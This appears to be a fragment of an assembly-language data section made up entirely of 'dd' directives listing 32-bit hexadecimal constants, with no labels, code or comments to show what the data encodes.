dd 0A1FEE1A3h, 0A5B04C20h, 31073B59h, 136D958Eh, 892E8AF1h
dd 1200DE0h, 216AA1EAh, 60C13FACh, 562E3C1Ch, 9601A073h
dd 0D4429C81h, 12177C8h, 507BC80Fh, 45F4973Ah, 0B7C0AFFCh
dd 90BFD0E2h, 0D3F50034h, 0B683EADEh, 7D76083Ah, 0FB174000h
dd 1EE0B266h, 0F9EB0047h, 6E55DC5h, 43003F44h, 0D89FDD32h
dd 28C9C2h, 0EA64F0C6h, 67B5851Bh, 2EFD400Eh, 0A8E0608Bh
dd 0F66BDDh, 9846B9DFh, 8F52A1C7h, 38290E0Eh, 0A457C0CFh
dd 0F02009h, 0AB186F8h, 9C8FDF93h, 0BF03F894h, 0A02F95ECh
dd 8D318Eh, 6B0CE9B6h, 8B7E501h, 0DAE77B00h, 842CC8D4h
dd 34BD00C6h, 0AC786410h, 890069B2h, 3215A4DBh, 0F86DE12h
dd 108F1F2Fh, 0A06B41A0h, 2C009B2Ah, 5AEB65D0h, 0A0E353B4h
dd 98DCDFD8h, 0AC6450CCh, 7DAF0021h, 0AD1A43D2h, 8D0098DDh
dd 0A6F5184Fh, 0B41387h, 9531C608h, 2EF8BCEBh, 7CE7A100h
dd 0B3590265h, 13041428h, 5409D8C7h, 784B55CEh, 0BBAF1A80h
dd 5FB2D71Eh, 59009457h, 0DFB67365h, 0DDE62C12h, 1F24F8h
dd 22CCFA8Eh, 650080EBh, 0C61F7E0Fh, 7EE4557h, 8B3FF937h
dd 68D7D01Eh, 6101B070h, 9BD1C036h, 0F0EFEBEDh, 0A0F89E1Bh
dd 1242C3ACh, 0E0CFFCh, 0A3E6240Ch, 1C9A0EC2h, 4F521D00h
dd 0B6194B70h, 9E210972h, 0E00E9C44h, 3B367740h, 39391669h
dd 0AC2292EDh, 0F57D3040h, 32A16Ch, 0A8441E24h, 0E657846Eh
dd 25223A0Bh, 2DD780CEh, 0E524F4h, 9B78D64Fh, 7A766EE7h
dd 823D9C00h, 902F81A0h, 6046001Fh, 0AE9A1701h, 0C101FDF3h
dd 4752F0C9h, 0FEC5B8E1h, 0B7CBCD8h, 934FD99Fh, 686B9800h
dd 4400D4DDh, 65DA8B96h, 28491F74h, 0ECD117h, 0FF8998B3h
dd 35018FCDh, 0F17E0307h, 39F0E954h, 59E3ECh, 2381B9E6h
dd 822C68D4h, 6000CAEAh, 8A4056FDh, 1E79233h, 0BCF4B453h
dd 0CBD03Dh, 2EE2EED8h, 0B46D70h, 0F85B98CDh, 7800D1F0h
dd 0CF434E77h, 122B97DBh, 434CEFE1h, 0B71B6734h, 518F3BC0h
dd 746CF100h, 32ED3F61h, 0B817023Ch, 4BDD62Dh, 65C2C040h
dd 4109D7ECh, 6D08EAh, 0B7D5FB92h, 0A6A43A31h, 4B12AA00h
dd 29E562FFh, 9F7ACE00h, 91B240Fh, 194D0099h, 0BE20C1F3h
dd 6500B3DEh, 7F7CBFCFh, 0C60EF7h, 0B31B477h, 68809D29h
dd 0F4DC721Dh, 0E78BDB00h, 0E74BE7Eh, 69AE25EAh, 0B5C0D16Ch
dd 0AB801400h, 7E943509h, 0A6612CF3h, 59A30478h, 4EB6801Ch
dd 8002857Ch, 0E1D89B8Ah, 81F840AAh, 0FB6E00EEh, 0B90BC358h
dd 0F7000A0Ch, 679CF27Fh, 0F6FCD291h, 0ED5800FAh, 0FD8D2C3Ah
dd 1600228Fh, 750BF7B2h, 7D4E1292h, 519C00BBh, 96233882h
dd 0B50171EBh, 0D984D44Dh, 86083A4h, 6376B2h, 0BC240D6Fh
dd 0B7215516h, 0B4A3Ah, 0D85349EAh, 1212972Bh, 59A57C0h
dd 728B84h, 0E6819BE8h, 0EC00BB51h, 28181CB7h, 788437F5h
dd 39890EFh, 334712D1h, 3FC0E48Eh, 6100712Ah, 6E66839h
dd 4923Ch, 90DF6D09h, 79321BDBh, 7C690C0Bh, 99C58035h
dd 0FCDD25E4h, 0C9F700F9h, 0CA0D5747h, 370484C8h, 8B8F2D9Fh
dd 0E3B3B0C0h, 0C00C9211h, 3F1966C4h, 0BE2E59EEh, 3F089Ah
dd 4F4E334Ah, 344F42Bh, 0C4ED1903h, 0A1C82743h, 0E7018775h
dd 93BFD7F6h, 5284FA3Fh, 0C0A39171h, 889EDC00h, 80D2D00h
dd 3F4B5FECh, 9B84Ch, 0E9BF2248h, 90DA12DEh, 0BEF240Eh
dd 9BCA2038h, 1F5A9408h, 0CC91CCF6h, 0F821FA88h, 0EA288900h
dd 7AAB3818h, 3CE60A08h, 0CC458Ch, 0A70E10EEh, 0C30E21F4h
dd 20233F11h, 9C990AADh, 0A32C0056h, 0E3AA4C1h, 6C002894h
dd 3BD8DB8Ah, 7583BA08h, 0E53900AAh, 5F5A0652h, 0DF05EB51h
dd 0CF57169Fh, 80D35082h, 925DD2A4h, 142F0055h, 0A84BD5ADh
dd 0CD02EF5Eh, 4288D0FCh, 0C96840D7h, 669A0ED1h, 9DC7EC10h
dd 4318201Ah, 96003A0Dh, 0ABAF92BCh, 24E7DFF8h, 0EEC4521h
dd 0D5A06E8Ch, 69E2D4Ah, 0B207C001h, 4FB68FEh, 0EEB5C4h
dd 0BD933A51h, 35C4CFC5h, 20B62502h, 0A0329601h, 0EE2DB994h
dd 0BE341D14h, 2109003Ah, 43849C02h, 0C537A017h, 3CFFA840h
dd 265B6DCAh, 6C2B10h, 0B6AB5683h, 4C1F1746h, 93804F29h
dd 2E696F02h, 282C008Ch, 83B41889h, 1F00DF49h, 31AA8F21h
dd 1CC597h, 539C2A73h, 7664F851h, 0DA8E3Dh, 0AE796624h
dd 759EEC1Fh, 407A07CBh
dd 0B7DFFE8Dh, 0CE5590A3h, 871E3CEDh, 7E8A03h, 4B992F2Bh
dd 140DABh, 0CB0B395Ch, 933BC23Ch, 0E8F26C06h, 188791h
dd 0E7552D52h, 577BFAB8h, 603AC412h, 4FE4BC01h, 386094D9h
dd 255B2889h, 58F27A90h, 0C803A65Ah, 0DFA127D5h, 2DCC40EDh
dd 9D7F231Dh, 86DAB130h, 728D7E4h, 0ECAFA88Dh, 51CC20BAh
dd 223DD5E3h, 680C14B4h, 54F30E89h, 0C5A1E090h, 3DC15B0h
dd 0FD09C8E5h, 0F498E4CBh, 98006583h, 5E067C70h, 9EA46Ch
dd 94EF5667h, 9960484Eh, 0DC32001h, 19C40CE2h, 9A6F8FC8h
dd 0E739001Ch, 787195FFh, 80056FBh, 23F3048Dh, 1F765Ch
dd 0F164518Ch, 0A9854DE1h, 3B68713h, 168D4C00h, 6ABC49Fh
dd 1BF24486h, 1074185Ch, 91144200h, 7E0A409h, 9360000Ch
dd 5B71ACD3h, 2B5804B4h, 59050028h, 8A6B5602h, 9470AAh
dd 8BF5D3Ah, 28B0A919h, 60CB5C12h, 6C8CC401h, 10742DD7h
dd 2D32824h, 71231FB9h, 0E648C7FBh, 0DD0DA095h, 0B60074E5h
dd 622E5A3Bh, 6685CDh, 45FFC256h, 81F0A2F1h, 15DC0F00h
dd 0DFCCA8B1h, 6AF8000Ah, 243DD6FAh, 900AA95h, 631FF20Dh
dd 3D774742h, 3580807Dh, 0E25520DDh, 580EF882h, 0A0A65108h
dd 0CFDCC18Eh, 37571BEh, 8FA02B21h, 0DF98FF42h, 849052BBh
dd 8B3E2770h, 34585Bh, 112A0148h, 1B57C1Dh, 927E8041h
dd 0E465263Fh, 0A900DC81h, 6023177Ah, 1CBC040h, 8C07CA3Ah
dd 3087431Bh, 8E01B3DEh, 0D5C3CE86h, 78783CD9h, 4644FF03h
dd 0F4CBB79Ah, 0A31080C4h, 0D53CB663h, 19730085h, 0E778D4Eh
dd 0BB450095h, 0F2C0E536h, 0F5F8D0FDh, 0D80D2E03h, 0E0E91A7Eh
dd 0E69A0C7Bh, 3877C92h, 2110744Eh, 12E87CE1h, 0B75C8E54h
dd 0C9007151h, 0A45BA9EFh, 4BA69Bh, 33AAD6BBh, 79CBD769h
dd 3D02609Eh, 69E24F7Ah, 9330982Ch, 0CEC60043h, 604AE3C0h
dd 31005D61h, 6963D9C2h, 1E42836h, 9A5A213Dh, 0CCE7859Fh
dd 7B7A97E1h, 37EC31F0h, 8D74730Ah, 3401BCAAh, 4D9D6817h
dd 80D76B03h, 1BBFC830h, 0DE6A5000h, 0FE62ACEFh, 1C3AFA81h
dd 786EE186h, 8C02C100h, 87DD750Eh, 9C1FB801h, 0A45FFE1Ch
dd 0E8D68670h, 0F2302879h, 2C4F00BCh, 33774325h, 3890B3A7h
dd 0EFD92B04h, 10C09772h, 0AFBE16h, 9E521A51h, 0D5DDEBF6h
dd 850026E4h, 0A48F3212h, 5BD0EA03h, 288C00A3h, 0D5CFB0CDh
dd 70F17DFAh, 3B4EBFC4h, 121BC38h, 3154294Bh, 0E84E9810h
dd 394E8AC8h, 0ED926000h, 4B9084h, 52A5A418h, 97E931F1h
dd 0DF62C005h, 0C8B0D371h, 9FB60070h, 0A120C5ACh, 7771EC7Ch
dd 4B099301h, 8441C08Ah, 78380FE4h, 81E70E36h, 9EC0EADAh
dd 4611E05Ah, 1C04C24Fh, 0A8A83FBBh, 3B3C02A8h, 20F7AEB3h
dd 0C0939E09h, 0C1A6CCh, 8D0D91A8h, 0CD79E0D8h, 5F98C712h
dd 0BE57D400h, 3E25990h, 9D935DEBh, 5D0F625h, 0CE00518Eh
dd 3763D0AEh, 47D88Fh, 904E9B3Bh, 0BDE7A7F5h, 3D615200h
dd 0B3C6995Eh, 465F2A1h, 198A795Dh, 48A806h, 0E22C29E0h
dd 17E8629Fh, 0C81FE52Dh, 0CF57A5Ch, 0FBE0022h, 0BCFD0C83h
dd 0E7FAD9A1h, 0ED0A2F00h, 55C83236h, 0B92A0709h, 0A6833E4h
dd 28E20090h, 523AE145h, 83A20C00h, 1984366Bh, 6DEB00ADh
dd 0AB289FA7h, 0A000AF97h, 0DB531859h, 6E602Ah, 895F3946h
dd 4088BCF9h, 0B600FC74h, 0BED2831h, 1E32773Bh, 0C0FF8650h
dd 14CBE55Bh, 5D001E74h, 0A68EB465h, 83A076h, 6F1ABE2Fh
dd 6810406Eh, 0E411960Eh, 3C76971h, 0F04D1634h, 7894C3h
dd 0C1791276h, 0DA82C00Eh, 7E000C96h, 0CCF9D238h, 39E7004Ah
dd 12E3B616h, 18006C0Dh, 7C736A9Fh, 0B0D679A7h, 0AAD807ECh
dd 0F0390A01h, 4211DEA6h, 0C1FD1E04h, 4880EBC3h, 0B03F1C26h
dd 1EC92CBh, 7D34062Bh, 603668FBh, 3740B18h, 0FD1B3F00h
dd 54614AC9h, 0F417CB9h, 8CF014E0h, 0A0DBA5E6h, 20E6C325h
dd 0E7DCB544h, 661A0006h, 9D895C94h, 0A008267h, 1057AF1Dh
dd 70343F8h, 48F0B69Ch, 0C16F8E54h, 81D6F5C0h, 0FF003C9Fh
dd 0A9A7B856h, 4A902CBAh, 0A8484762h, 68ED328Ah, 1F9654C0h
dd 2B6E3100h, 48908008h, 0E9F70012h, 83B7D96Dh, 2E14EE3Bh
dd 0CBB192h, 0BECD42D6h, 6094413Ch, 5ED8506Dh, 21003A89h
dd 0F4C9450Ah, 2301533h, 1CA87ED6h, 0D8634052h, 0A9B235A0h
dd 0F8803A90h, 850012DCh, 39C68BF7h, 0C0E1DAE5h, 759FFB58h
dd 1D0FD8D0h, 60C44925h, 1691B1B4h, 0D9F00096h, 208AA767h
dd 430445D0h, 0ED3323D4h, 82EDC80h, 99790042h, 0F86C0554h
dd 0B600326Dh, 0FD9565C6h, 4462D3h, 561E3EC7h, 9AE99DE0h
dd 0FA05737Eh, 799132B1h, 2C8D50C0h, 7FC23161h, 2B27B488h
dd 1C569C28h, 7CABEEDAh, 0FBADA30Eh, 0E08648C4h, 374E66E4h
dd 0CC913807h, 0E389DB6h, 9E953DBEh, 742E1240h, 0E00D377h
dd 2D1390BAh, 1FF228C2h, 0C050F307h, 31D418A8h, 0C00FC14h
dd 57FE1544h, 7DE4EE9h, 38327D99h, 8F73F0DCh, 84018337h
dd 3A79B307h, 0DE205AF8h, 94D3002Ah, 0DB1224D5h, 0B52C6C10h
dd 591F6F09h, 0A4BE9B01h, 0E8DFCDA7h, 83888Dh, 98A161Ch
dd 87D5975Fh, 73994600h, 0EBF07D29h, 0FC8600A2h, 47DC9C0Fh
dd 5C01AAEAh, 36ECFADEh, 0A2FCDA97h, 9F170308h, 0BE447794h
dd 0D39C212Ch, 0C056640Eh, 511FD481h, 72631E15h, 0BB1A83CBh
dd 5488AAA0h, 1E002B35h, 351CD66h, 1ECE3C53h, 408B6A31h
dd 0C0FF4037h, 0AD001AB1h, 51248096h, 0EB3C489h, 65AC6DF5h
dd 0F9409163h, 0C2083DB8h, 56527E00h, 0A5436EC6h, 0E1FFB863h
dd 9B09C040h, 0EF270064h, 88E8BCAh, 8C071D57h, 0D787E8B4h
dd 91FB86F0h, 0C62000D4h, 2A6F1FC5h, 9A03A108h, 0CC197F69h
dd 933F9092h, 0ED11FFEh, 0C9C80070h, 0D4D636BCh, 1DE44900h
dd 134E617Bh, 4F78F6h, 0FEB24247h, 0D2BEE971h, 1AE58406h
dd 0F0AB80h, 0F3F5891h, 985E4CC5h, 385A900Eh, 0ECF2601Ch
dd 0E5D9F19h, 0FBC96F9Ah, 0D81B9D60h, 4A000DF4h, 13957AA4h
dd 19EB805h, 926DE201h, 0D09BDE84h, 97A3E4DAh, 0BCCF54F8h
dd 194FD02h, 809E068Dh, 0EDDF83F4h, 8F79006Dh, 5542D066h
dd 0F00F912h, 0B4EE986Ch, 0F681F3h, 0DEDB2145h, 9D336D61h
dd 73BA830Fh, 301E92DDh, 4094AECEh, 9AE46909h, 0DC600D5h
dd 0C16F362Dh, 990047B0h, 0EA62AE93h, 0FE381Ah, 0E3F6863Dh
dd 33A05420h, 4B411600h, 398CFA17h, 8F0F1E4Ch, 42F08010h
dd 2B5D7C9h, 1729D604h, 2E80DED5h, 0D19F6Fh, 98A32416h
dd 0B22FCF1Fh, 8653CC00h, 9526D968h, 0D20C01D5h, 0B75AA40h
dd 0D713D415h, 2E0ED078h, 8ABCC12Ch, 71048465h, 0A9C0C902h
dd 0FD1092h, 53273364h, 166D03Bh, 2F0ADF03h, 0D05FBB7Ah
dd 734DB2Ah, 1E949BFBh, 4236D050h, 267FD195h, 0D4FCA000h
dd 0FA5FEDB9h, 871D0040h, 5E6A01A9h, 180023C0h, 21A26070h
dd 64E85Fh, 0E79FE9ADh, 0BC931C6Ch, 52FF0300h, 0F57EC153h
dd 62CC0083h, 1BA04E72h, 5E00C589h, 0B7D23039h, 0F46D3654h
dd 0F72100B2h, 17A3AFB0h, 0CF007642h, 530577D8h, 0A93F27h
dd 0CD04265Ch, 871A6614h, 0BD2C200Ch, 68DD80Eh, 0B5E3FAD7h
dd 0B00180DAh, 652CD961h, 0B2F9CD46h, 26B6CCh, 0F470B144h
dd 8A28B878h, 0EEC2721Fh, 436DA840h, 0BF397Bh, 6F419C36h
dd 3556442Ch, 0F73F2E0Ch, 0E9C430EBh, 98BBD970h, 0E80A00E5h
dd 64153295h, 0E300A773h
dd 0D1FBCD3h, 26B80CFh, 54FF2FAAh, 0B6E05984h, 45068FBAh
dd 2CAB8DEDh, 9E5A01A2h, 39A7EB99h, 20A0C5FFh, 4E12BCCCh
dd 0C500F431h, 0C87A0168h, 44EC1Fh, 0A5E62384h, 0CA705B48h
dd 0AC005490h, 0BC521EA6h, 0E3F4FFh, 1DF57DCEh, 508CD3A2h
dd 0B142032Eh, 0EBBC2E01h, 99D0C447h, 0D39AA6h, 8CE93A81h
dd 7D36719Ch, 22F32400h, 0ED50A518h, 0CF211D0Fh, 7F4BC033h
dd 5B8748B3h, 79C6624Ch, 12C05400h, 7A3A2DD8h, 11CD05B0h
dd 80383D16h, 0E4FB4E9Ah, 0FE3F88F6h, 8E818010h, 21031ADDh
dd 6CC00DFh, 0D446E86Dh, 120F3571h, 6752C67Bh, 0C140389Bh
dd 0E176D01h, 4479CFCBh, 9485E2A0h, 0B5029C83h, 0A6DD924Fh
dd 0F2A44004h, 0DC29004Eh, 57CB597Bh, 0E707E2DBh, 0E5C758FBh
dd 6530E0F7h, 367066Fh, 6222632Eh, 50F849DAh, 69004058h
dd 91DE527Bh, 0C22C31h, 6D79F1Bh, 8A82DB3h, 78C91107h
dd 3F60B79Bh, 90957403h, 25E43E2Bh, 0ED1B6200h, 30D5B10Ch
dd 3302570Eh, 0BFEB803Fh, 0FA90874Dh, 66CB04B2h, 80C9B4DFh
dd 32A32024h, 1F924902h, 0E1B02486h, 0F3D0D37Dh, 7F5B039Ah
dd 764A3E5h, 9CB6E001h, 992D0961h, 451C20h, 8D9AAAA7h
dd 0D2EFF028h, 0B884DC04h, 0C09225F3h, 0BBF76020h, 1ED705Bh
dd 0EA7710F4h, 0F0163929h, 0B00C4F6h, 2BE8BB41h, 110E9AFh
dd 3FD1565Fh, 30A0682Ch, 2503D3D0h, 3BCFB917h, 9C76D00Ch
dd 7C370057h, 93F99065h, 0E90BD202h, 807DEAE8h, 1AC366Ah
dd 0D3860A0Bh, 0FCFCAFh, 0E5932AB8h, 32006058h, 2350527h
dd 115D554h, 64E4A709h, 0F0DC936Dh, 4E07B10h, 8278A2EEh
dd 9D884E03h, 8055C212h, 418A10Dh, 7288BE4h, 0A7FC800Fh
dd 7900F433h, 0F96D8EAFh, 0CD0CF6h, 8AB0D60Bh, 42142BDEh
dd 98496E00h, 0DFD8DD18h, 16F81C9Fh, 0A900F850h, 52E87F2Dh
dd 3C3B0259h, 8DB7008Fh, 4967CE5Eh, 6F960E9Fh, 7100529Ch
dd 13CBEF11h, 0F40B6000h, 0E24E03F2h, 1C274BDh, 99969C26h
dd 0FA3163E6h, 0A3D18BE0h, 0ADF17602h, 80DF91C2h, 702A62B4h
dd 0DC1E371Ah, 0D4174010h, 2D1BB21Ch, 0A0FEF2BCh, 13254EFBh
dd 60920761h, 0A344E96Ch, 868BFCA0h, 0A6B0DF17h, 1FFC6B14h
dd 0D48BEABEh, 7300074Eh, 45C9E070h, 0C49700A8h, 4F1480B4h
dd 3F1C8EDAh, 7AC0C1C5h, 57636486h, 31F6A1h, 0C824E24Dh
dd 38EF2518h, 9E4FA300h, 0CB7B1947h, 7E824CBBh, 88815800h
dd 6DAB5D5Eh, 0CBC5A00h, 0A2D367F7h, 90500083h, 331E7741h
dd 0EB00DB63h, 0C1DA11C0h, 26A887h, 0D6B677Fh, 0E3B91B02h
dd 6686140Eh, 755D63BEh, 4652C8EFh, 87C2489Eh, 0B86BB600h
dd 2F7660D7h, 516FAA00h, 85FE1737h, 0EA820021h, 42927F66h
dd 9A00BE5Dh, 0ADE5F7Ah, 1F417920h, 0C0C11E11h, 26838244h
dd 990A3B2Eh, 0BE236DFEh, 0E8EA6101h, 0E03B4A43h, 9E00FA9Bh
dd 9DA7CB63h, 0B15D34h, 22B30340h, 0E3327E0h, 3C907B73h
dd 8A0FD800h, 0C26DF081h, 50D90B4Bh, 970078FEh, 0B9939442h
dd 0BF0010B0h, 0F14BC30Bh, 0F71FF23h, 0E7581A9Bh, 1601E12h
dd 53DB50EBh, 3C89F4F4h, 6C095E00h, 0A1D05AD5h, 32F500CEh
dd 23F371C3h, 1BF8F242h, 5B9781C3h, 10C6AC0Dh, 7A090059h
dd 0EE926B91h, 40D68ECFh, 200F344Ch, 10761D33h, 180CA8DCh
dd 51E4C7B9h, 0EE00887Dh, 170F0622h, 9456DAEh, 62569B27h
dd 66440080h, 8C007241h, 0F90DB15h, 2793A6h, 34CAB702h
dd 8B71B38Dh, 0C54EC400h, 0EA36253Bh, 3AB88Ch, 0C4C29DEh
dd 40D38218h, 11C8CF0Eh, 67B92272h, 4237C17Dh, 1CF874D8h
dd 0C0E7607Eh, 61C754DDh, 3F0387DCh, 51A4550Fh, 0AB81CD9h
dd 0EFAC4016h, 8811B4BDh, 86CB4B0Fh, 53A88735h, 6907204Fh
dd 6094EC18h, 7E5CE0C7h, 97003022h, 1B55752Ah, 0E8543242h
dd 721C095h, 4773357Dh, 0A87A4407h, 0FDD3C15Fh, 994CD0A5h
dd 81DA05BCh, 0AD1CF07h, 563068A0h, 1D00BB46h, 2E4BC11Ah
dd 12003B24h, 204D05DDh, 0A6DA046h, 3CE0DE86h, 0A67E0174h
dd 2470570Ch, 4E0EB86Ch, 6162819Ch, 3D87D767h, 512808AAh
dd 53F4A20Ah, 0EF280044h, 0E187E093h, 0AD0390CBh, 0E46C393Eh
dd 9703E7A5h, 881805EBh, 0D00278DDh, 0D57CD8A4h, 26011DFCh
dd 8E7AEED0h, 44D2DC21h, 0CD4E003Ch, 0A74705FCh, 263B7EFFh
dd 4A6F0078h, 28A66DAAh, 1C3C0C2Bh, 8768DD9Dh, 90CE4C00h
dd 116F9C27h, 4F9200D8h, 8460C82Bh, 0F91DD9A8h, 480072BDh
dd 9F09A7Bh, 0F740038h, 61F26FFAh, 72014587h, 96FE3B90h
dd 0B4F00B85h, 9E9A00B0h, 2DBF5604h, 3900654Eh, 0DD8C82C8h
dd 3F01D7FFh, 0E80CCB9h, 9FC1F9E8h, 0C00190Dh, 882C45EEh
dd 3AF7DCh, 8F34F253h, 9F89B4C2h, 5B31E000h, 0ADAC8B4Eh
dd 43CA03E6h, 36BAF547h, 210B3AA3h, 0ACE790h, 0F6B33556h
dd 696A00B2h, 0A997C582h, 28C2AE5Dh, 603CC750h, 3C4C7138h
dd 0F580785Ch, 0E5E1B1C4h, 5400EB85h, 0DD7731E3h, 3D369C90h
dd 5CB11A6Eh, 0F8C7A840h, 0A00BA4Bh, 0F523FC11h, 14EE312h
dd 6C81962Ch, 8053ACCFh, 3004AE20h, 52EE34ABh, 0C0C2201Dh
dd 91866DFh, 7E330C50h, 51305A23h, 29018476h, 0F67282C5h
dd 88C1AB0h, 62205B64h, 4424CD03h, 0ADD25168h, 303F841Fh
dd 4F0A71BDh, 0F4A300ABh, 0B2598376h, 0CD0006EDh, 922BC91Dh
dd 306E345Ah, 565137ADh, 8173754Dh, 9C71FD0Ah, 63E9059h
dd 0A6ECC73Eh, 29A47B60h, 8FCC88B8h, 1BC4D7BCh, 7938D2h
dd 8CB4D664h, 8AA41109h, 1D295F00h, 0F8C3A8FBh, 527400C6h
dd 0B9E5CEC9h, 0C0A15748h, 8CEDD950h, 9056E9D1h, 0AE728C4h
dd 0A390C4D8h, 10C01D59h, 0AB0BD28Dh, 9920633Bh, 81009192h
dd 0A5A8B921h, 19DCBDh, 0CC4AA193h, 80CFBB9Dh, 0D9D69230h
dd 1B4E2AAEh, 11F237ABh, 0EBBD57F8h, 7C0CFE74h, 82D6052h
dd 2021C056h, 0EDCDBD7Eh, 16128B19h, 8618D640h, 0F92900B8h
dd 531120AFh, 0BEE1B700h, 0D0E62B3Fh, 8B6FC200h, 0F9C366B2h
dd 12E0145h, 7BA617C4h, 80C671ECh, 345720D1h, 580C5ABCh
dd 840036DAh, 0BD136D18h, 0E0246C36h, 126F883h, 0EE492501h
dd 0DC513E75h, 280C89E4h, 8D7AD704h, 61324232h, 0AC90B520h
dd 0C7340004h, 12E34B10h, 0A509E7AAh, 2F48B19Eh, 9314E1A8h
dd 11805F07h, 8E1C36Eh, 0A6149144h, 2838DA32h, 0AA46909Ah
dd 0F6BD7201h, 0C7D8FFEh, 0FD2388E8h, 80F6BE01h, 60A540ADh
dd 635207E8h, 0FAF20F5h, 395C90DCh, 9B186E33h, 0E9895CD6h
dd 4EA30071h, 0E196CAF6h, 9E0C9D33h, 91AF9241h, 0AE050F4Dh
dd 0D6005440h, 0F48779E2h, 1CA7B100h, 0B65D7FA5h, 0A07060DAh
dd 59799817h, 807C2A49h, 1B60AC8Eh, 54448C02h, 0AC960197h
dd 57060734h, 53D0F782h, 9A00EA5Ah, 0DA74251Dh, 31AF39FDh
dd 89C93012h, 4C19E18h, 3D326F40h, 3BF3C906h, 1C827B7Dh
dd 20704271h, 3129B6C0h, 884C5F28h, 90AE150Ah, 7B408007h
dd 32A48F6h, 239D9233h, 8187CD1h, 1B209CB9h, 6A4B00FEh
dd 0BEA4F9BCh, 34392EE7h, 15663B1Dh, 80D4AC4Fh, 0F884BD74h
dd 0C364917Fh, 427C8735h, 40AA5501h, 0B001CAE9h, 18A580CCh
dd 0E1421278h, 0FD5557DAh, 83C0E2E0h, 98A84889h, 8400A4BFh
dd 7B8ECDBBh, 1F6E51E4h, 0C26FB13Dh, 94AA3374h, 7F1C9060h
dd 3F457686h, 3A1C5BAh, 3841695h, 0E524ABA3h, 650A7F1h
dd 8B2ED4h, 2A6796E2h
dd 0E75036A8h, 6001B89Bh, 22C29D21h, 0E6885918h, 0EC2400DAh
dd 1B4A7B66h, 0A8A8B313h, 0C81F620Ch, 0D880CBD7h, 0BCAB7C28h
dd 35F90332h, 4A063EF6h, 38F5E901h, 308BDB6Ah, 56AE12E8h
dd 87CDCE5h, 7A337F52h, 1C4FC4C4h, 0AAD501B6h, 0D4EE98D9h
dd 0D606758h, 4EF472A1h, 0B1309BFh, 0B9006B40h, 0A104C6F5h
dd 5BF8AA18h, 92343E29h, 33F21Ch, 4661C2B7h, 4389B59Eh
dd 232868D4h, 52A101E7h, 188A3499h, 464140E5h, 9B4BC900h
dd 37E4284Fh, 5642003Bh, 0B84A8EAFh, 0DF137D29h, 1C23C49Eh
dd 8339B835h, 464C985Ch, 0D7BD01E1h, 36BA8D07h, 0EE89A70Ch
dd 0C3AC20h, 242F638Eh, 9D9340F5h, 2C2B2E24h, 50514A4h
dd 5888F251h, 5C30A493h, 8D1345B7h, 0A07C622Ah, 0AC938C20h
dd 65DF0AE9h, 8088EB3Ah, 4683E595h, 0FE0FAD92h, 20A7CB2Ah
dd 97B55F71h, 0D84F0024h, 0FAE4B136h, 8A00F906h, 9BB7A332h
dd 0AA17F2C4h, 9D9840BCh, 50FB2058h, 0C549BB74h, 0CF828E40h
dd 0C47248B7h, 704958h, 0AD373168h, 2F981F55h, 0B8A7DB49h
dd 834B82F8h, 84A8ED73h, 577DF8B1h, 715F2901h, 2AB7C318h
dd 68312C8h, 0B2916DB6h, 0AB989961h, 383E8F30h, 0B001C406h
dd 0B8180520h, 82BF4BE2h, 94C6E04Ch, 7A701091h, 0A300863Eh
dd 0E9773D73h, 0A8A3B17h, 0C844DB94h, 0BD084024h, 9F21F888h
dd 77917Dh, 96BD7099h, 1397B110h, 827674h, 0EBD4C3ECh
dd 86741D53h, 0CE05BA1Ch, 40AF0C85h, 0E39C3AC0h, 0A6AA0720h
dd 4087A35Eh, 0D455041h, 52968103h, 88F42B5Dh, 1771DC9Bh
dd 7F01C72h, 8095CE4Ch, 8D8366D0h, 1E00A8F2h, 79A3D02h
dd 0F62F43h, 62D1D5B8h, 56BCB15Eh, 0C1E3F40Eh, 6C1AE057h
dd 0AFA9A5h, 273CCE48h, 4462ABC4h, 87A73D00h, 0E48FCF85h
dd 1EC77AF7h, 769ECA1h, 90DAE897h, 0A5026FA9h, 671A2900h
dd 4FC5CC0Fh, 8CAA00F1h, 6FB08535h, 64008F1Dh, 3AB34E5Ch
dd 3C6E77Fh, 0D39B7721h, 801F1B12h, 18C75C43h, 3A91EB55h
dd 7E70D7F1h, 0F8EC0050h, 3D6BC9E2h, 2E006205h, 8660C688h
dd 11BBE37h, 0CEF1CB4h, 0D5FFCFD8h, 0B5CBE49Dh, 0DA9A0101h
dd 2D3A6ED2h, 923040F2h, 0C57799h, 4F3516E3h, 0DF883139h
dd 0E1C48A00h, 196030F8h, 92032EE6h, 0B05C0094h, 637D1DB5h
dd 41564Ch, 54D5CE79h, 0F39FECh, 0A587A9C5h, 0E2C35AC4h
dd 0CD6F9900h, 14D8F53Dh, 0E35C0372h, 0B282D0FFh, 79174418h
dd 1494E6C0h, 0A07C7283h, 680F913Dh, 7DA00F8Dh, 0D4548087h
dd 0AC361200h, 4EEB7A39h, 5E500151h, 0EF43D5C8h, 92E2C4C7h
dd 0CDE70D03h, 0D849F9ADh, 3D7574DEh, 818046C9h, 0D97A6639h
dd 0F00052DDh, 4EE03EE9h, 6C0694h, 175F02E3h, 3957601Fh
dd 2E533400h, 453C3D95h, 5D0903BEh, 98C854E1h, 0EE4B48E8h
dd 4C003E76h, 6B0D6FDFh, 783691Ch, 40F6B9E7h, 8ED9109Dh
dd 82796E12h, 0AADAE900h, 6BA8156h, 30A5008Ah, 39350841h
dd 0B200332Bh, 9F1F76DAh, 7C75D3h, 43E70960h, 0EEF31602h
dd 0FF9B8500h, 6C7B147h, 0A16F48AAh, 6A09AB00h, 865E3258h
dd 80348300h, 29CFF0DBh, 0F5100067h, 2874037Fh, 0EF75ADAAh
dd 9941ED60h, 18BE81h, 8FCA13EEh, 7B3AE47Ah, 73B78701h
dd 5DE07835h, 0C4E1CCh, 2B15C649h, 0E707CB5Ch, 58BD421Fh
dd 23F8003Ah, 0F975C39Eh, 3B6E1241h, 3EA60084h, 0DEAD2CCDh
dd 0EE1C6901h, 8EF1287Dh, 18FDAE0h, 0EBD020FFh, 0FCFC7B44h
dd 5D00550Dh, 8DBB6DB1h, 0F4995EB7h, 7FD100DEh, 24825412h
dd 4D02A2E6h, 0EADCAB08h, 0E0C0A06Ch, 1D776717h, 0C3EB846Dh
dd 323B3D24h, 6ED160D8h, 30195A7Fh, 1D09822Eh, 4BB72185h
dd 0AC2490D6h, 0EA0E9810h, 0C0749ED3h, 3D773230h, 0DCF206BAh
dd 60514809h, 8FE15421h, 0A0C2D653h, 0AC1B4DDFh, 160B5C48h
dd 0FFD100A0h, 736CF886h, 84AE00B5h, 32F0BB97h, 0A3189639h
dd 5B70332Dh, 56EE0007h, 2B3B7BCCh, 8CC73BAh, 17E9135h
dd 3C1DEDBEh, 806D0198h, 0A9398394h, 67703754h, 60802947h
